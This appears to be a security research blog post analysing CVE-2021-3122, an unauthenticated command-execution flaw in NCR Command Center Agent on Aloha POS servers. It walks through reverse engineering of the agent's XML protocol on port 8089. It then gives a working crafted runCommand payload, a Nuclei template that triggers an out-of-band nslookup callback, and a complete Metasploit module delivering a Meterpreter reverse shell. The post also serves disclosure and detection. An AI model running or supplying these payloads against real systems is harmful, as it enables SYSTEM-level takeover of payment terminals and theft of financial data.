CVE-2021-3122

Analysis of CVE-2021-3122, An Unauthenticated RCE in NCR Command Center Agent

Introduction

CVE-2021-3122 is a critical, unauthenticated remote command-execution vulnerability in the CMCAgent component of NCR’s Command Center Agent (used in the Aloha POS ecosystem). An attacker able to reach the agent can submit specially crafted XML notably containing a runCommand parameter that the service executes with SYSTEM-level privileges, allowing full control of the host. Due to its severe impact on systems that handle financial transactions. CVE-2021-3122 was later added to the VulnCheck Known Exploited Vulnerabilities (KEV) catalog in 2021, with exploitation reported by SentinelOne (based on a Tetra Defense incident-response investigation).

Setup Environment

To test this vulnerability, we used two virtual machines: Kali Linux and Windows OS. On the Windows OS, we downloaded CMCInst.zip, which we downloaded from this site https://rdf2.alohaenterprise.com/client/CMCInst.zip. However, since the URL was inaccessible, we used Web Archive and successfully downloaded it from there. Here’s the final URL:

https://web.archive.org/web/20210129020048/https://rdf2.alohaenterprise.com/client/CMCInst.zip

Extract the zip file, and execute CmcInst.exe to install NCR Command Center Agent. And we can see all the files that has been installed in C:\Program Files (x86)\NCR\CMC

image

Technical overview

Based on the CVE description, we know that the vulnerability exists in CMCAgent (Command Center Agent). So, we moved the CmcAgent.exe to our machine to do some reverse engineering

image Because the CMCAgent service listens on port 8089. So our focus is on how the messages buffer are recieved from socket port 8089 and parsed.

image Using Detect It Easy, we can see that CMCAgent.exe is a 32-bit executable file built using .NET Framework 4.0, so we can use dnSpy 32-bit for debugging.

image In dnSpy, we can see the version of CmcAgent, which is 16.2.1.1

Receiving the XML

After decompiling the app, there is an instance method named OnSocketRead from class Radiant.CmcAgent.Core.Net.Protocol.SimpleMessageSocketProtocol.

image

From the pseudocode above, there are several calls to the xuCtsHmOK method that return a string. This method is part of the program’s obfuscation.

image

By setting a breakpoint on that line. we can easily get the final result string.

image

Based on above image, method call nCP5vtxT3QjsSeuiK3.xuCtsHmOK(9336) will return string <:EOM:>. The program will take every substring that ends with <:EOM:> and pass it to OnMessageReceived. image Go deeper, the program create a XML using XmlReader.Create from our message that we sent on port 8089.

image

Make sure you create a valid XML with <:EOM:> tag in the end.

Parsing the XML

After creating a XML using XmlReader.Create, it will create a WorkItem using WorkItem.CreateFromXml. image

Using the same method as before, i was able to obtain a clearer version of the pseudocode.

public static WorkItem CreateFromXml(XmlReader reader, ICommandManager commandManager)
{
    Preconditions.ThrowIfNull(commandManager, "commandManager");
    reader.MoveToContent();
    string text = null;
    if (reader.MoveToAttribute("commandname"))
    {
        text = reader.ReadContentAsString();
    }
    reader.MoveToElement();
    reader.ReadStartElement("workitemroot");
    WorkItem workItem = XmlUtils.DeserializeFromXml<WorkItem>(reader);
    if (string.IsNullOrEmpty(text))
    {
        throw new ApplicationException(string.Format(nCP5vtxT3QjsSeuiK3.xuCtsHmOK(60240), workItem.WorkItemId));
    }
    reader.ReadStartElement("command");
    CommandProperties commandProperties = commandManager.GetCommandProperties(text);
    if (commandProperties == null)
    {
        throw new ApplicationException(string.Format(nCP5vtxT3QjsSeuiK3.xuCtsHmOK(60358), workItem.WorkItemId, text));
    }
    ICommand command = commandProperties.ImplementingPlugin.CreateCommandInstance(text);
    command.ReadXml(reader);
    workItem.Command = command;
    reader.ReadEndElement();
    reader.ReadEndElement();
    return workItem;
}

The XML must begin with the workitemroot element containing the commandName attribute on it. Then, it will parse all XmlElement under WorkItem class with DeserializeFromXml<WorkItem>. image So, valid XML looks something like this

<workitemroot commandname="...."><WorkItem><WorkItemId>....</WorkItemId><SourceNode>....</SourceNode><TargetNode>....</TargetNode><Status>....</Status></WorkItem></workitemroot><:EOM:>

Note: Status can only be Unknown, Waiting, InProgress, Done, or Failed. You can check it on public enum WorkItemExecutionStatuses

After deserializing WorkItem, CMCAgent attempts to read the XML element command and tries to obtain the value of the commandName attribute, then checks it. If the command is valid, CMCAgent will process the command. The following is a list of valid commands:

image

The command used in this CVE is the runCommand command.

image After getting the valid command name, the CMCAgent creates a Command Instances based from the command name. After that, through the command.ReadXml(reader), several fields member will be determined, such as Arguments, DestServer, Guid, and Result. image

image

Note: DestServer can only be WebServer or RdfServer. You can check it on public enum DestinationServer

So the valid XML format for command XML element is

<command><Arguments>....</Arguments><Guid>....</Guid><Result>...</Result><destserver>....</destserver></command>

If we combine it with the workitemroot XML formal described earlier, the full valid XML format is

<workitemroot commandname="...."><WorkItem><WorkItemId>....</WorkItemId><SourceNode>....</SourceNode><TargetNode>0</TargetNode><Status>....</Status></WorkItem><command><Arguments>....</Arguments><Guid>....</Guid><Result></Result><destserver>....</destserver></command></workitemroot><:EOM:>

Command Execution

image To execute the command, the CMCAgent create a thread that will execute the IEGMGHCNGAMMONCGPOJDGMHGMINIALLPOCOK method. This method performs several checks on the workItem status, workItem targetnode, and workItem command.

image If all checks pass, the GJEMNIIBHOLDPIKACELKHNKBHNDNBFABO method will be executed and the workItem status will be changed to Done if the execution is successful.

image From this method, the CMCAgent use cmd.exe /c base command for the command execution.

nCP5vtxT3QjsSeuiK3.xuCtsHmOK(156482) returns cmd.exe nCP5vtxT3QjsSeuiK3.xuCtsHmOK(156500) returns /c {0}

The CMCAgent will run it as a new process.

Proof of Concepts

For the proof-of-concept, we interacted with the CMCAgent service on port 8089 and submitted a crafted XML that abuses the runCommand operation to execute an arbitary command. Here is the crafted XML we used.

<workitemroot commandname="runCommand"><WorkItem><WorkItemId>1</WorkItemId><SourceNode>0</SourceNode><TargetNode>0</TargetNode><Status>InProgress</Status></WorkItem><command><Arguments>"whoami > C:\Users\Public\whoami.txt"</Arguments><Guid>00000000-0000-0000-0000-000000000001</Guid><Result></Result><destserver>WebServer</destserver></command></workitemroot><:EOM:>

The results are shown in the GIF below.

PoC

Scanning and Exploitation

For this CVE, we created two things to detect/exploit this vulnerability: a Nuclei template and a Metasploit module.

  1. Nuclei
id: CVE-2021-3122

info:
  name: NCR Command Center Agent 16.3 - Remote Command Execution
  severity: critical
  author: daffainfo,jjcho
  description: |
    CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter (within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command as SYSTEM, as exploited in the wild in 2020 and/or 2021. NOTE: the vendor's position is that exploitation occurs only on devices with a certain "misconfiguration."
  reference:
    - https://github.com/acquiredsecurity/CVE-2021-3122-Details/blob/main/CVE-2021-3122
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3122
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3122
    epss-score: 0.87048
    epss-percentile: 0.99396
    cwe-id: CWE-78
    cpe: cpe:2.3:a:ncr:command_center_agent:16.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: ncr
    product: command_center_agent
    fofa-query: "mynodename"
    shodan-query: "mynodename"
  tags: cve,cve2021,ncr,rce,vkev,intrusive

variables:
  payload: <workitemroot commandname="runCommand"><WorkItem><WorkItemId>1</WorkItemId><CommandName>runCommand</CommandName><SourceNode>0</SourceNode><TargetNode>0</TargetNode><Status>InProgress</Status></WorkItem><command><Arguments>nslookup {{interactsh-url}}</Arguments><Guid>00000000-0000-0000-0000-000000000001</Guid><Result></Result><destserver>WebServer</destserver></command></workitemroot><:EOM:>

tcp:
  - inputs:
      - data: "{{payload}}"

    host:
      - "{{Hostname}}"
    port: 8089

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol,'dns')
          - contains_all(raw, '<cmcsys', 'myNodeName')
        condition: and

It will execute nslookup.exe http://oast.site and check if there is a pingback or not

Demo Nuclei

image

You can check the template in both the public and research repositories:

  1. Metasploit Module
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/Heroes-Cyber-Security/research
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NCR Command Center Agent Remote Code Execution',
        'Description' => %q{
          CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter
          (within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command
          as SYSTEM, as exploited in the wild in 2020 and/or 2021. NOTE: the vendor's position is that exploitation occurs only
          on devices with a certain "misconfiguration."
        },
        'Author' => [
          'daffainfo (Muhammad Daffa)',
          'jjcho (Jericho Nathanael Chrisnanta)'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2021-3122'],
          ['URL', 'https://www.tetradefense.com/incident-response-services/active-exploit-a-remote-code-execution-rce-vulnerability-for-ncr-aloha-point-of-sale/'],
          ['URL', 'https://hcs-team.com/blog/cve-2021-3122/'],
        ],
        'DisclosureDate' => '2021-02-07',
        'Platform' => 'win',
        'Arch' => [ ARCH_X64, ARCH_X86 ],
        'Privileged' => true,
        'Targets' => [
            [
              'Windows',
              {
                'Platform' => 'win',
                'Arch' => [ ARCH_X64, ARCH_X86 ],
                'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp'}
              }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        },
        'DefaultTarget'  => 0,
      )
    )

    register_options(
      [
        Opt::RPORT(8089)
      ]
    )
  end

  def check
    Exploit::CheckCode::Unknown
  end

  def generate_xml(cmd_payload)
    xml_body = '<workitemroot commandname="runCommand">'
    xml_body << '<WorkItem>'
    xml_body << '<WorkItemId>1</WorkItemId>'
    xml_body << '<CommandName>runCommand</CommandName>'
    xml_body << '<SourceNode>0</SourceNode>'
    xml_body << '<TargetNode>0</TargetNode>'
    xml_body << '<Status>InProgress</Status>'
    xml_body << '</WorkItem>'
    xml_body << '<command>'
    xml_body << '<Arguments>'

    xml_body << cmd_payload

    xml_body << '</Arguments>'
    xml_body << '<Guid>00000000-0000-0000-0000-000000000001</Guid>'
    xml_body << '<Result></Result>'
    xml_body << '<destserver>WebServer</destserver>'
    xml_body << '</command>'
    xml_body << '</workitemroot>'
    xml_body << '<:EOM:>'

    xml_body
  end

  def exploit
    begin
      connect
      print_status("Connected to #{rhost}:#{rport}") if datastore['VERBOSE']

      cmd_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, encode_final_payload: true)
      payload_xml = generate_xml(cmd_payload)

      print_status("Generating payload")

      sock.put(payload_xml)

      print_status("Check your shell")
      handler

    rescue ::Rex::ConnectionError => e
      fail_with(Failure::Unreachable, "Failed to connect: #{e}")
    ensure
      disconnect
    end
  end
end

It will generate PowerShell command to execute the Meterpreter payload and establish a session.

Demo Metasploit

image

You can check the module in both the public (coming soon) and research repositories:

  • Public repository: Coming Soon
  • Our repository: Link here

Remediation

  • Restrict access to port 8089 (only allow trusted hosts).
  • Apply vendor patch or update from NCR (fixed versions available).